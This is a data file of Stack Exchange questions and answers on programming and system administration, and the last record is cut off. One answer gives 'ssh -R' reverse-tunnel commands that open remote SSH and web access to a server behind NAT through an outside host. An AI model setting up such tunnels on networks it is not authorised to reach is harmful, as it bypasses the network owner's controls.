{  "id": "_codereview.19786"  , "question": "I've written a couple of functions to check if a consumer of the API should be authenticated to use it or not.Have I done anything blatantly wrong here?ConfigAPI_CONSUMERS = [{'name': 'localhost',                  'host': '12.0.0.1:5000',                  'api_key': 'Ahth2ea5Ohngoop5'},                 {'name': 'localhost2',                  'host': '127.0.0.1:5001',                  'api_key': 'Ahth2ea5Ohngoop6'}]Exceptionsclass BaseException(Exception):    def __init__(self, logger, *args, **kwargs):        super(BaseException, self).__init__(*args, **kwargs)        logger.info(self.message)class UnknownHostException(BaseException):    passclass MissingHashException(BaseException):    passclass HashMismatchException(BaseException):    passAuthentication methodsimport hashlibfrom flask import requestfrom services.exceptions import (UnknownHostException, MissingHashException,    HashMismatchException)def is_authenticated(app):        Checks that the consumers host is valid, the request has a hash and the    hash is the same when we excrypt the data with that hosts api key    Arguments:    app -- instance of the application        consumers = app.config.get('API_CONSUMERS')    host = request.host    try:        api_key = next(d['api_key'] for d in consumers if d['host'] == host)    except StopIteration:        raise UnknownHostException(            app.logger, 'Authentication failed: Unknown Host (' + host + ')')    if not request.headers.get('hash'):        raise MissingHashException(            app.logger, 'Authentication failed: Missing Hash (' + host + ')')    hash = calculate_hash(request.method, api_key)    if hash != request.headers.get('hash'):        raise HashMismatchException(            app.logger, 'Authentication failed: Hash Mismatch (' + host + ')')    return Truedef calculate_hash(method, api_key):        Calculates the hash using either the url or the request content,    plus the hosts api key    Arguments:    method  -- request method    api_key -- api key for this host        if request.method == 'GET':        data_to_hash = request.base_url + '?' + request.query_string    elif request.method == 'POST':        data_to_hash = request.data    data_to_hash += api_key    return hashlib.sha1(data_to_hash).hexdigest()"  , "title": "Authentication for a Flask API"  , "tags": "python;authentication;web services;flask"  } 
{  "id": "_codereview.95590"  , "question": "Could you please review my spinlock implementation?class spinlock {private:    static const std::thread::id lock_is_free;    std::atomic<std::thread::id> lock_owner;    int lock_count;public:    spinlock() : lock_owner(lock_is_free), lock_count(0) {    }    void lock() {        static thread_local std::thread::id this_thread_local = std::this_thread::get_id();        auto this_thread = this_thread_local;        for (auto id = lock_is_free; ; id = lock_is_free) {            if (lock_owner.compare_exchange_strong(id, this_thread, std::memory_order_acquire, std::memory_order_relaxed)) { ++lock_count; break; }            id = this_thread;            if (lock_owner.compare_exchange_strong(id, this_thread, std::memory_order_acquire, std::memory_order_relaxed)) { ++lock_count; break; }        }    }    void unlock() {        assert(lock_owner.load(std::memory_order_relaxed) == std::this_thread::get_id());        if (lock_count > 0 && --lock_count == 0) {            lock_owner.store(lock_is_free, std::memory_order_release);        }    }};const std::thread::id spinlock::lock_is_free;"  , "title": "C++11 recursive atomic spinlock"  , "tags": "c++;c++11;multithreading"  , "accepted_answer": "Use of TLSI'm not completely sold on your use of TLS. This looks like a premature optimization to me, that said if you have measured and it improves your performance then keep it. Static memberI think it would be better style to not have this static member but this is highly subjective.ReadabilityYour code here:    for (auto id = lock_is_free; ; id = lock_is_free) {        if (lock_owner.compare_exchange_strong(id, this_thread, std::memory_order_acquire, std::memory_order_relaxed)) { ++lock_count; break; }        id = this_thread;        if (lock_owner.compare_exchange_strong(id, this_thread, std::memory_order_acquire, std::memory_order_relaxed)) { ++lock_count; break; }    }is very difficult to read for me. In fact I'm struggling to understand what the intended behaviour is. To me it looks like what you really wanted was:// If we're being locked recursively, this will always compare false// (insert your desired memory_order here) because no one can fiddle// with `lock_owner` while we have the lock. If we're not entering// recursively then this will always compare true because the thread// doing the checking can only be in one place at one time. if(lock_owner.load() != this_thread){    // Okay so it's not a recursive call.    do{        auto id = lock_is_free;    }while(!lock_owner.compare_exchange_weak(id, this_thread,                                              std::memory_order_acquire,                                              std::memory_order_relaxed));}// Okay in any event, recursive or not we have the lock now.lock_count++;return;Note: I change compare_exchange_strong to compare_exchange_weak this is recommended when you call compare_exchange in a loop as per std::atomic::compare_exchange (cppreference.com).I would much prefer this implementation of unlock()void unlock(){    assert(lock_owner.load() == std::this_thread::get_id());    assert(lock_count != 0);    --lock_count;    if(lock_count == 0){        lock_owner.store(lock_is_free, std::memory_order_release);    }}Following the style of std::mutex::unlock() stating that calling unlock when the calling thread doesn't own the lock is undefined behaviour we can simply satisfy ourselves with the two asserts to aid during debug-time. "  } 
{  "id": "_unix.332926"  , "question": "I have installed many packages on my RHEL 6.6 server.  I am trying to install the dependencies of createrepo and createrepo itself.  I want to have a yum repository.  When I use rpm -ivh *.rpm in a directory with over 50 .rpms, I get this message of failure:/usr/bin/bash is needed by glibc-common-2.17-157.el7_3.1x86_64/usr/bin/cpio is needed by kmod-20-9.el7.x86_64I installed packages for bash and cpio to try to get around this problem.  What should I do about these errors?  I thought I had all the dependencies.Using the yum localinstall command failed too.  I tried creating a link (with ln -s) of the cpio and bash files to the locations that were referenced in the error messages.  I tried copying the cpio and bash files to those locations too. But that did not work either.  The error kept happening."  , "title": "How do I troubleshoot unmet dependencies for bash and cpio on RHEL 6.6?"  , "tags": "rhel;yum"  } 
{  "id": "_softwareengineering.92532"  , "question": "I want to improve usability of K9 Email client, Make a new UI and implement some additional functionality.This software is Licensed Under Apache 2.0.http://code.google.com/p/k9mail/https://github.com/obra/k-9Can I use the whole source code of this app with some modifications to some of classes and make this app a Commercial One?I want some legal Advice.If I succeed in this then I have wish to share revenue with original developer of this app.Please give me some pointers on this.I have read about Apache 2.0 license.I am not clear about this line..provide clear attribution to The Apache Software Foundation for any distributions that include Apache softwareFrom Apache FAQhttp://www.apache.org/foundation/licence-FAQ.htmlAnd Clause 4 D from this linkhttp://www.apache.org/licenses/LICENSE-2.0Please Provide your Inputs on this.."  , "title": "Use of Apache 2.0 Licensed K9 Email Android App in Commercial Email App"  , "tags": "android;client relations;email;apache license"  } 
{  "id": "_unix.164236"  , "question": "I use ubuntu 14.4, and attempt to redirect the output of grep command to a file, but I keep getting this error:grep: input file 'X' is also the outputI've searched for this issue and just found out that it was a bug in ubuntu 12.4 and there is not any describe about, can anybody help me to figure out this problem?I run the following command:grep -E -r -o -n r%}(.*){% > myfile"  , "title": "grep: input file 'X' is also the output"  , "tags": "shell;ubuntu;command line;grep;io redirection"  , "accepted_answer": "It is not possible to use the same file as input and output for grep.You may consider the following alternatives:temporary filegrep pattern file > tmp_filemv tmp_file filesedsed -i -n '/pattern/p' fileput whole file in the variable (not bright idea for large files)x=$(cat file); echo $x | grep pattern > file"  } 
{  "id": "_webapps.85727"  , "question": "I get at least two emails from Google every time I sign in to my account and I want it to stop.I tried changing the notification settings in Gmail, but they're still coming and they're useless.How can I stop this?"  , "title": "Make Google stop sending 'new sign in from ...' emails"  , "tags": "gmail;notifications"  , "accepted_answer": "Researching this I've seen others have this issue but no solution was presented.  One fix would be to simply put a filter on your Gmail account that deletes any email that has the title of the email that is bothering you.  It's not the perfect solution but it might do until you find something that is more palatable. "  } 
{  "id": "_webmaster.11721"  , "question": "Can anyone think of ways to prevent users from registering to a .php page under certain proxies? What would a group of proxies have in similar that might not effect regular users? For example, if you use Your Freedom, and try to access a .php page, is there any common factor that could be used to keep them off that part of the website in particular?I'm not looking for an answer like 'ban by IP' though. All of the IPs used by Your Freedom are from entirely different countries, and there are infinite ways to change the IP range."  , "title": "Ways To Block Your Freedom and Similar Proxies?"  , "tags": "php;proxy"  } 
{  "id": "_softwareengineering.321506"  , "question": "I have a large image distributed over multiple machines for which I need to implement the flood fill algorithm used in MS Paint. I am able to do it with a single machine but what approach must be followed for multiple machines."  , "title": "How to implement to flood fill algorithm on multiple machines?"  , "tags": "algorithms;distributed system"  } 
{  "id": "_webapps.80755"  , "question": "On Picasa Web Album, I can search all public photos via the explore features, for instance a search by tag: https://picasaweb.google.com/lh/view?feat=tags&psc=G&filter=0&tags=wikimania(Note, Google is hiding such features more and more in an attempt to force people to use other services. If at some point in the URL gets redirected elsewhere, see how it looks currently.)How do I do the same on Google Photos? https://photos.google.com/search/wikimania only finds my own photos with the word.Google Plus doesn't provide a side access either: https://plus.google.com/s/wikimania/photos only finds (very few) posts with photos, while I only want the photos themselves and all of them.There are other questions about searching posts and searching own photos. I also asked elswewhere how to mark and search Creative Commons images."  , "title": "Search public images in Google Photos"  , "tags": "google plus;search;picasa web albums;google photos"  } 
{  "id": "_webapps.75052"  , "question": "How can I create a cell in Google Spreadsheet that automatically updates its value when its respective value in the web (i.e. exchange rates) changes?Is there any function that allows to retrieve the value for exchange rates from the web, so that I don't have to change that each day manually?"  , "title": "Auto-update of exchange rates in Google Spreadsheets"  , "tags": "google spreadsheets"  } 
{  "id": "_unix.281211"  , "question": "Data: one LHC thesis' page 16, where the picture is vectorised (most probably .eps). I am reviewing the answer here of the thread Software needed to scrape data from graph.I cannot find any tool that is made to extract .eps image from a PDF file. My whole system's pseudocodeNeutralise PDF file by gs -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sOutputFile=newfile.pdf badfile.pdf (source)Find native resolution for the extraction of the vectorised image from a pdf file. (not sure about this one because no zooming may be necessary; 100% zoom level of Adobe view cannot be optimal with a screenshot)extract vectorised image from a pdf file (current goal)extract graph from .eps image where doing all in the same system would be great. Open tools with (3)Possible image formats png/xpm/jpeg/tiff/pnm/ras/bmp/gifg3data but no .eps formatEngaude-digitizer is active here, and more popular than R digitize.R digitize was removed from CRAN, because no maintainer power; but now in tpoisot's Github here and its review in Luke's blog Digitizing data from old plots using digitize but they are trying to get back to CRAN here a ticket. I have experienced a sequence of problems with the software here. One big weakness is that they sensor their github, and no feedback is welcome. Systems with (3) and (4)most probably R package which can do both things: Tools only with (3) or (4) or noneTask (4) can be done in Mathematica as described here about Is it possible to extract data from an eps plot not generated in Mathematica. However, Mathematica not suitable for Task (3) according to devtalk. Adobe Acrobat > Editing. I could not find any suitable method to do it. It seems that no Linux version in Ubuntu 16.04. From vectorized and Steps (1-2)Drag-and-drop of the figure does not work here. So must programmatically extract the figure from the pdf. There exists a terminal tool for that which extract all images/eps/... from the document, but I have no idea how well they do what they do. I would like to find here something which is just good in extracting the .eps image from a pdf file. From Rasterized to Vectorized and Steps (1-2)Example image for DavidLeBauer about the insersection of the graph with the x-axis for the discussion hereand second example about points intersecting two axes here for DavidCode% https://unix.stackexchange.com/q/281211/16920gs -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sOutputFile=data_clean.pdf badfile.pdf% drag and drop picture from data_clean.pdf to your folder in Ubuntu 16.04 by having the default zoom level; I think zoom should not affect here the result of drag-and-drop% Result: image.png% g3data image.png% bug in 16.04: http://askubuntu.com/q/767982/25388% open figure in ubuntu - Print to File > Ps.% Result: image.png.psps2eps image.png.ps% Result: image.png.eps% https://mathematica.stackexchange.com/q/85320/9815%% Mathematica starts here (* Wolfram Language Test file *)fig = Import[image.png.eps]Import[http://raw.github.com/AlexeyPopkov/shortInputForm/master/shortInputForm.m]fig // shortInputForm% Run but get error: http://askubuntu.com/q/767992/25388% NB this error comes too if I have no code in the editor. So something wrong in my way of doing this. I am amateur in Mathematica. How can you extract .eps image and its graph from a pdf file in Unix way?"  , "title": "Unix way to extract vectorised image and its graph from a PDF file?"  , "tags": "pdf;images"  , "accepted_answer": "No sufficient supported solution exists for the case because the problem is hard inverse-problem in reality. Mathematica solutions have also significant problems with real-world applications. "  } 
{  "id": "_softwareengineering.349187"  , "question": "I am on a fairly new team that is also new to TDD and Agile/Scrum. Currently we are developing a project that consists of web API and a native iOS and Android application, with a small team of devs working on each one. We were having a discussion about how to solve issues in developing concurrently and all had differing opinions and were looking for insight.Right now, when we start a story we all branch our respective projects in Git for the story where the work sits through the approval process. Frequently, the native mobile application devs are stuck waiting for code on the web API end to move further in the process so that they can consume it and start the work.Some argue that it is the web API dev's responsibility to mock that data and API endpoint from the start based on a defined contract then swap that code out for the code that will actually sit at that endpoint while the mobile developers work. The issues with this are that the mobile developers will still have a (shorter) waiting period while the data is being mocked and it will require more work on the web dev's end.Others argue that the mobile developers should be mocking that data in their tests and develop using that mocked data on their end for their unit tests, letting their integration tests fail while the web API devs work on their code since the approval of the story depends on the two party's code in unison either way. The downside of this is that it still allows for the mobile devs to get ahead of the web devs and makes their testing and implementation of their UI much harder.What are some best practices regarding this? Are either groups right, is a mix of the two groups right, or are neither of the groups right and there is another way to avoid this problem all together?"  , "title": "TDD and waiting on dependencies"  , "tags": "testing;agile;scrum;tdd;mocking"  } 
{  "id": "_webapps.14410"  , "question": "Will it be moral to copy all city pages information for all cities in my country from Wikipedia?I need those for my website.How can I do it?"  , "title": "How to download all city page of my country from Wikipedia"  , "tags": "download;wikipedia"  } 
{  "id": "_codereview.23745"  , "question": "I have a class, which stores an enum to track if my object is modified, newly created, or no change. If the object is modified, I have additional booleans for each field that is modified.For instance,public enum status{    NoChange,    Created,    Modified}private bool? name;private bool? address;...private bool? numberOfDonkeysPurchased;So the idea is that if the status is modified, then the nullable bools will be either true or false, depending on if these fields are changed. If the status is not modified, then the nullable bools will be null.The problem with this is that I have a couple of these fields that I want to check (say 10). Is it valid to create a nullable bool for each field that I am checking, knowing that I maybe be storing a lot of nulls? Or is that not a concern?Is there a better way to store this?Thanks!"  , "title": "Better Alternative For Storing Multiple Booleans?"  , "tags": "c#"  , "accepted_answer": "Alternatively, you could use a bitmask via a Flags enum:[Flags]public enum Changes{   None                     = 0x000,   Name                     = 0x001,   Address                  = 0x002,   ...   NumberOfDonkeysPurchased = 0x100,   ...}Then, you merely update the appropriate flags as you call setters:public string Name{   get { return name; }   set   {      name = value;      changes |= Changes.Name;   }}Checking for changes is just a matter of comparing changes with Change.None.Note: this will be preferable to a collections object if you are transmitting your data between a client and a server, since the bitmask will be stored as a single int or long."  } 
{  "id": "_softwareengineering.341433"  , "question": "I have a method processDataAssumingLinkedHashMapInput() that processes a Map. The Map must be a LinkedHashMap ordered by values. Data comes from getStrIntMap(query). This method gets resultSet from SQL and puts it in a LinkedHashMap. Here is the code:public void processDataAssumingLinkedHashMapInput(){    String query = select MYID, MYVALUE from MYTABLE order by MYVALUE;    Map<String, Integer> map = SQLTools.getStrIntMap(query);    for (Map.Entry<String, Integer> entry : rawEntryToSortOrderMap.entrySet()) {        //do something, assuming that values are ordered    }    //do more stuff}//SQLTools method, used by multiple other classespublic static Map<String, Integer> getStrIntMap(String query){    Map<String, Integer> map = new LinkedHashMap<>();    //ResultSet to map     return map;}My concern is that if someone decides to change getStrIntMap(String query) to Map<String, Integer> map = new HashMap<>(); (for instance for performance reasons) it will break processDataAssumingLinkedHashMapInput(). I can change return type of getStrIntMap to concrete implementation, but than it wouldn't look good and someone will change it back to an abstract Map. I can create two essentially identical methods one of which returns Map and the other returns LinkedHashMap, but this would break DRY principle. I can reorder data in the beginning of processDataAssumingLinkedHashMapInput method, but this again violates DRY rule. What is the best practice for this case?"  , "title": "Method requires concrete implementation of collection. Should I change all upstream methods to return concrete implementations?"  , "tags": "abstract class;implementations"  , "accepted_answer": "Use a little IoC.  Refactor to allow the caller to inject the map instance, which will allow other developers to use the more efficient map and allow you to use the map with the features you want.public static void fillStrIntMap(String query, Map<String, Integer> map){    //ResultSet to map }"  } 
{  "id": "_codereview.173868"  , "question": "I have a Date Table like this one:Exit_Date  Date_ID2017-05-31    12017-04-26    22017-01-02    32016-12-24    42016-11-27    5I use a loop to insert each of those Dates into a CTE to generates the last 15 years of these dates like this:declare @DI int = 1declare @d datewhile @DI <=5begin    select @d = Exit_Date from Date_Table where Date_ID = @DI    declare @EDTable table (Exit_Date  Date);    with      a as(        select dateadd(yy,-1,@d) d,0 i          union all        select dateadd(yy,-1,d),i+1 from a where i<14      ),      b as(select d,datediff(dd,0,d)%7 dd from a)     insert into @EDTable select d from b;      set @DI = @DI + 1 endThe results is correct, I get 75 rows with my dates. I would like to know if there is a way to get rid of the WHILE loop by replacing variable @d by each date record from Date_Table?"  , "title": "Replacing a variable in a loop by records from a Table"  , "tags": "sql;sql server"  , "accepted_answer": "Selecting from Date_Table in aOne option is to select Exit_Date direct from Date_Table in a. The ordering of the end results won't be the same so you may need to add an ORDER BY clause (e.g. with DATEPART()). with      a as(        select dateadd(yy,-1,Exit_date) d,0 i        from Date_Table WHERE Date_ID <=5          union all        select dateadd(yy,-1,d),i+1 from a where i<14      ),      b as(select d,datediff(dd,0,d)%7 dd from a)SELECT d from b --order by DATEPART(MM,d) descSee a sample here in this SQLFidle. CursorLike I mentioned in my comment, another option is to use a Transact-SQL cursor. In the squery below, we keep the temp variables @d and @EDTable. The SELECT statement from Date_Table could have ORDER BY Date_ID ASC added if you wanted to ensure those go in order (in case the records were not added sequentially).declare @d date;declare @EDTable table (Exit_Date  Date);declare dateCursor CURSOR FOR     select Exit_Date from Date_Table WHERE Date_Id <=5;OPEN dateCursor  FETCH NEXT FROM dateCursor INTO @dWHILE @@FETCH_STATUS = 0  BEGIN     with      a as(        select dateadd(yy,-1,@d) d,0 i          union all        select dateadd(yy,-1,d),i+1 from a where i<14      ),      b as(select d,datediff(dd,0,d)%7 dd from a)     insert into @EDTable select d from b;--*/    FETCH NEXT FROM dateCursor       INTO @d END   CLOSE dateCursor;  DEALLOCATE dateCursor;  SELECT * FROM @EDTableI am trying to get a SQL Fiddle working but having issues with the line endings. I will update when I figure that out."  } 
{  "id": "_softwareengineering.139620"  , "question": "I'm dealing with pretty stressful (in my opinion) situation in my current work place. We've started developing new project, get some requirements, implemented it and then show to someone you can call a 'business advisor' (person who knows business requirements but will not use the program). That person is supposed to evaluate application from customers point of view, test it etc.Here how the 'process' looks:business advisor talks in the evening with my boss for hour or two on windows messengerthe next day I receive email with copy of that conversation. I am supposed to choose tasks from that, check reported bugs (which often aren't bugs, just poor testing and forgetting about past establishments)I implement changes, implementation gets accepted and then in a week or two it turns out that isn't want they want (they talked with some potential client that have seen software for 5 minutes and he suggested changes) - I have to do new changesDon't get me wrong, I understand that sometimes requirements change. What upsets me is how often the change occur in my workplace and how easy for 'management' is two give new requirements or sometimes fundamental changes to existing features. At the same we working on tight deadlines and I have impression that instead of going forward with our software we're running circles.I seek advise from you how to deal with this situation? Is this normal situation and I'm just hypersensitive about it?"  , "title": "How to deal with frequent requirements changes?"  , "tags": "project management;software"  } 
{  "id": "_unix.65169"  , "question": "I have installed a local web server for an web application for a customer. Their server is behind NAT and uses proxy for access internet. Is there a way to access the web application remotely from my computer?"  , "title": "How do I access a web server behind NAT and proxy?"  , "tags": "networking"  , "accepted_answer": "You will need to either create a port forwarding on the NAT router, but beware because then its open to the whole internet, or you need to have something connecting out to allow you in.For example one thing what i like to do is to submit the following command behind a NAT.ssh -R 10022:127.0.0.1:22 me@myserver.comThis command connects to myserver.com and opens port 10022 there. Then everything that connects to it's port 10022 will be tunneled to the source hosts 127.0.0.1:22. Later I connect to myserver.com from anywhere, and on myserver.com I submit this:ssh -p 10022 127.0.0.1Like this I can get behind the NAT.You could also do the same by directly forwarding to the webserver, like this:ssh -R 10080:<private webserver ip>:80 me@myserver.comNow, on myserver.com, you could browse to 127.0.0.1:10080 and would get to the webserver which is behind the NAT. Both solutions, port forwarding or SSH are working, but SSH is much more safe because you don't need to expose your private webserver to the internet."  } 
{  "id": "_cs.227"  , "question": "Consider an filesystem targeted at some embedded devices that does little more than store files in a hierarchical directory structure. This filesystem lacks many of the operations you may be used to in systems such as unix and Windows (for example, its access permissions are completely different and not tied to metadata stored in directories). This filesystem does not allow any kind of hard link or soft link, so every file has a unique name in a strict tree structure.Is there any benefit to storing a link to the directory itself and to its parent in the on-disk data structure that represents a directory?Most unix filesystems have . and .. entries on disk. I wonder why they don't handle those at the VFS (generic filesystem driver) layer. Is this a historical artifact? Is there a good reason, and if so, which precisely, so I can determine whether it's relevant to my embedded system?"  , "title": "Why store self and parent links (. and ..) in a directory entry?"  , "tags": "operating systems;filesystems"  } 
{  "id": "_unix.127533"  , "question": "I have one HDD. 2 partitions with Kali and Windows 8. GRUB is installed. Both OS work fine.I want to remove my Kali partition, and get it as a VM in my Windows 8 partition (I'm using VMware workstation).Is there a way to virtualize this Kali partition ? without damaging my windows 8 one ? Windows does not see the linux partition at all (at least with the Disk Manager, maybe another software is able to see it as GParted or EasyPart).Another solution is to erase my Kali partition and re-extend my windows 8 one, but I'm afraid the windows 8 partition would not boot after it. And it's less fun doing this way.But the Kali partition does not have important stuff that I want to keep/save. So if it's the only way to do it, I can format the kali partition.Hope I'm understable enough and at the right place to ask this kind of question.Many thanks."  , "title": "Dual boot win/kali - virtualize the linux partition"  , "tags": "partition;windows;virtualization;kali linux"  , "accepted_answer": "You can use VMware Converter to convert the partition to a VM. After that, you would still need to remove the Kali partition and extend your Windows partition. If Windows doesn't see the Windows partition, try QTParted from a Knoppix LiveCD. When the partition is removed, you should be able to extend your Windows partition. I have done this several times, and I don't think extending a Windows partition has big risks associated with it. If you want to be really sure, take a backup first."  } 
{  "id": "_unix.140792"  , "question": "I know there are solution for not rebooting after kernel update: https://en.wikipedia.org/wiki/KspliceBut If Ksplice isn't installed, and the user doesn't reboots it's notebook after even several kernel updates (so notebook running for even months). Could there be a problem about it? (not counting that an update probably came because there was a bugfix or security fix)"  , "title": "Could it cause any problem if I not reboot after a kernel upgrade?"  , "tags": "linux;kernel;upgrade"  , "accepted_answer": "It won't affect the kernel itself (besides not taking advantage of the update).However, some newly installed programs might rely on newer kernel features.Also, if you run a program that relies on loading a kernel module then you may find that that module is no longer installed, and newly installed modules won't load in the old kernel.Basically, if there is a problem, you'll see it. Otherwise you're fine."  } 
{  "id": "_unix.319408"  , "question": "If I were to add custom scripts in /etc/init.d/ to link them from the link farms, what happens when the distribution is updated. Is it guaranted to preserve the scripts in /etc/init.d and not to remove links from the link farms in /etc/rc*? "  , "title": "Adding custom Sys V init scripts"  , "tags": "startup;shutdown;daemon"  } 
{  "id": "_codereview.18158"  , "question": "First, some background. I have a Payment model that has_many :subscriptions. When a user pays (creates a new payment), I have an after_create callback that adds the newly created @payment.id to @subscriptions.payment_id. Here's what it looks like:def update_subscription  @unpaid_subs = Subscription.where(:user_id => self.user_id).unpaid  @unpaid_subs.each do |sub|    sub.payment_id = self.id    sub.start # call to state_machine to change state from pending -> active    sub.save  endendI know that doing database queries inside a loop is generally not good for performance, but I don't know any way to update multiple records at the same time. Also, is there a way to pass the @unpaid_subs instance variable from my create action to the callback (it's the same query on both) so that I can remove the query here?"  , "title": "Update subscription"  , "tags": "ruby;ruby on rails;callback"  , "accepted_answer": "Considering you have a state machine, you're probably doing the right thing by looping through the records. Although you could change all the subscriptions (including their state) in the database, you'd be bypassing the state machine and whatever checks and callbacks it has in place.But, if you really want to bypass the state machine, you could probably do something like this:unpaid_subs = self.user.subscriptions.unpaid # I'm assuming Payment belongs_to Userunpaid_subs.update_attributes(:payment_id => self.id, :state => 'active')Of course, it would require you to allow mass-assignment of both payment_id and (what I assume is named) state, neither of which sound like good ideas at all.So you'd have to bypass the state machine and ActiveRecord to directly update the records in the database with some raw SQL... ugh, gross.So, as I said, you're probably doing the right thing already :)"  } 
{  "id": "_webapps.22311"  , "question": "How do I report directly to Facebook an external website that is offering a Free App Download for Facebook that is directly infringing upon Facebook's Privacy Policy?"  , "title": "External Website Directly Infringing Facebook's Privacy Policy"  , "tags": "facebook"  } 
{  "id": "_softwareengineering.352830"  , "question": "Which of these two is the better way of doing the same thing - public void someMethod(String s, boolean bool02){ boolean bool01 = s!=null; if(bool01==bool02){  doSomething(); }}ORpublic void someMethod(String s, boolean bool02){ List<String> list=new ArrayList<String>(); if(s!=null && bool02){  doSomething(); }}The way I understand it is,Option 1 -Computes s!=nullSet it to bool01Compares bool01 to bool02and Option 2 -Computes s!=nullCompares it with trueCompares bool02 to true(depending if step 2 was true)This is not a big deal but its bugging me to know which one is better. Or does the compiler optimization(if any) converts both of them to the same thing? "  , "title": "Which is better in terms of performance (bool01==bool02) vs (bool01 && bool02)"  , "tags": "java;programming practices;performance;coding standards"  } 
{  "id": "_codereview.149090"  , "question": "I replaced the thread by a task so there's no thread locked when there is no job to execute for hours.Now i'm not sure if the lock without an AutoResetEvent is lock safe when AllowParallelExcuteion is set to false. public class BezJobManager : IBezJobManager{    private CancellationTokenSource cts = new CancellationTokenSource();    private readonly IBezServiceResolver _serviceResolver;    private List<BezExecuteJobDetail> jobs = new List<BezExecuteJobDetail>();    private Queue<RunningJobData> runningjobs = new Queue<RunningJobData>();    public event Action<BezExecuteJobDetail> JobStartedEvent;    public event Action<BezExecuteJobDetail> JobFinishedEvent;    public event Action<BezExecuteJobDetail> JobErrorEvent;    private static readonly List<AutoResetEvent> autoResetEventHandlers = new List<AutoResetEvent>();    public bool IsDisposed { get; private set; }    public bool AllowParallelExecution { get; set; }    public BezJobManager(IBezServiceResolver serviceResolver)    {        _serviceResolver = serviceResolver;    }    public Guid Prepare(string name, Guid userId)    {        if (IsDisposed)            return Guid.Empty;        var job = Create(name, userId);        return job.Id;    }    public Guid Execute(string name, Guid userId, Action action)    {        if (IsDisposed)            return Guid.Empty;        var job = Create(name, userId);        Execute(job, action);        return job.Id;    }    public Guid Execute(Guid jobId, Action action)    {        BezExecuteJobDetail job;        lock (jobs)            job = jobs.FirstOrDefault(item => item.Id == jobId);        if (job == null) return Guid.Empty;        Execute(job,action);        return job.Id;    }    public Guid Execute(BezExecuteJobDetail job, Action action)    {        if (IsDisposed)            return Guid.Empty;        RunningJobData runningJob;        lock (runningjobs)        {            runningJob = CreateRunningJob(job.Id);            runningJob.Action = action;        }        if (AllowParallelExecution)        {            lock (runningjobs)                runningjobs.Dequeue();            Task.Run(() => RunJob(runningJob), cts.Token);        }        else            RunSingleThread();        return job.Id;    }    private bool isSingleTaskRunning;    private object singleTaskLocker = new object();    private void RunSingleThread()    {        lock (singleTaskLocker)        {            if (isSingleTaskRunning) return;            isSingleTaskRunning = true;        }        Task.Run(() =>                 {                     while (!IsDisposed)                     {                         try                         {                             RunningJobData jobToRun;                             lock (runningjobs)                             {                                 lock (singleTaskLocker)                                 {                                     if (runningjobs.Count == 0 || IsDisposed)                                     {                                         Task.Delay(100).Wait(cts.Token);                                         if (runningjobs.Count == 0 || IsDisposed)                                         {                                             isSingleTaskRunning = false;                                             return;                                         }                                     }                                 }                                 jobToRun = runningjobs.Dequeue();                                 // It can be that the finished method is already set but not yet the action.                                 if (jobToRun.Action == null)                                 {                                     runningjobs.Enqueue(jobToRun);                                     // If there's only one job,; wait a bit, otherwise start immediatly in while loop with new other job.                                     if (runningjobs.Count == 1)                                         Task.Delay(50).Wait();                                     continue;                                 }                             }                             RunJob(jobToRun);                         }                         catch (Exception ex)                         {                             var logger = _serviceResolver.Resolve<ILogger>();                             if (logger != null)                                 logger.LogError(BezJobManager:Error while running jobs, ex);                         }                     }                 }, cts.Token);    }    private void RunJob(RunningJobData runningJob)    {        var job = runningJob.Job;        try        {            job.Status = BezExecuteJobDetail.BezExecuteJobDetailStatus.Running;            OnJobStartedEvent(job);            if (IsDisposed) return;            runningJob.Action();            if (cts.Token.IsCancellationRequested) return;            if (IsDisposed) return;            job.Status = BezExecuteJobDetail.BezExecuteJobDetailStatus.Finished;            if (cts.Token.IsCancellationRequested) return;            if (IsDisposed) return;            runningJob.Finished(cts.Token);            runningJob.ClearAll();            OnJobFinishedEvent(job);        }        catch (Exception ex)        {            job.Status = BezExecuteJobDetail.BezExecuteJobDetailStatus.Error;            job.ErrorMessage = ex.Message;            var logger = _serviceResolver.Resolve<ILogger>();            if (logger != null)                logger.LogError(BezJobManager:Error while running job: + job.Name + : + job.Status, ex);            try            {                OnJobErrorEvent(job);            }            catch            {            }        }        finally        {            lock (jobs)                jobs.Remove(job);        }    }    public void ExecuteWhenFinished(Guid jobId, Action action)    {        var localJob = CreateRunningJob(jobId);        localJob.AddFinishedAction(action);    }    private RunningJobData CreateRunningJob(Guid jobId)    {        RunningJobData localJob;        lock (runningjobs)        {            localJob = runningjobs.FirstOrDefault(item => item.Job.Id == jobId);            if (localJob == null)            {                localJob = new RunningJobData(_serviceResolver)                           {                               Job = new BezExecuteJobDetail                                     {                                         Id = jobId                                     }                           };                runningjobs.Enqueue(localJob);            }        }        return localJob;    }    public Task WaitTillFinished(Guid jobId)    {        return Task.Run(() =>        {            var waitHandle = new AutoResetEvent(false);            lock (autoResetEventHandlers)                autoResetEventHandlers.Add(waitHandle);            ExecuteWhenFinished(jobId, () => waitHandle.Set());            waitHandle.WaitOne();            lock (autoResetEventHandlers)                autoResetEventHandlers.Remove(waitHandle);        });    }    private BezExecuteJobDetail Create(string name, Guid userId)    {        var job = new BezExecuteJobDetail        {            Name = name,            Id = Guid.NewGuid(),            RequestByUserId = userId,            Status = BezExecuteJobDetail.BezExecuteJobDetailStatus.Created        };        lock (jobs)            jobs.Add(job);        return job;    }    private void OnJobFinishedEvent(BezExecuteJobDetail obj)    {        var handler = JobFinishedEvent;        if (handler != null) handler(obj);    }    private void OnJobErrorEvent(BezExecuteJobDetail obj)    {        var handler = JobErrorEvent;        if (handler != null) handler(obj);    }    private void OnJobStartedEvent(BezExecuteJobDetail obj)    {        var handler = JobStartedEvent;        if (handler != null) handler(obj);    }    public void Dispose()    {        IsDisposed = true;        cts.Cancel();    }    private class RunningJobData    {         private readonly IBezServiceResolver _serviceResolver;        public BezExecuteJobDetail Job { get; set; }        public Action Action { get; set; }        private readonly List<Action> _actionsWhenFinished = new List<Action>();        public RunningJobData(IBezServiceResolver serviceResolver)        {            _serviceResolver = serviceResolver;        }        public void AddFinishedAction(Action action)        {            lock (_actionsWhenFinished)            _actionsWhenFinished.Add(action);        }        public void ClearAll()        {            lock (_actionsWhenFinished)            _actionsWhenFinished.Clear();        }        public void Finished(CancellationToken token)        {            lock (_actionsWhenFinished)                foreach (var action in _actionsWhenFinished)                {                    var action1 = action;                    Task.Run(() =>                    {                        try                        {                            action1();                        }                        catch (Exception ex)                        {                            _serviceResolver.Resolve<ILogger>().LogError(BezJobClientManager:Error executing  + 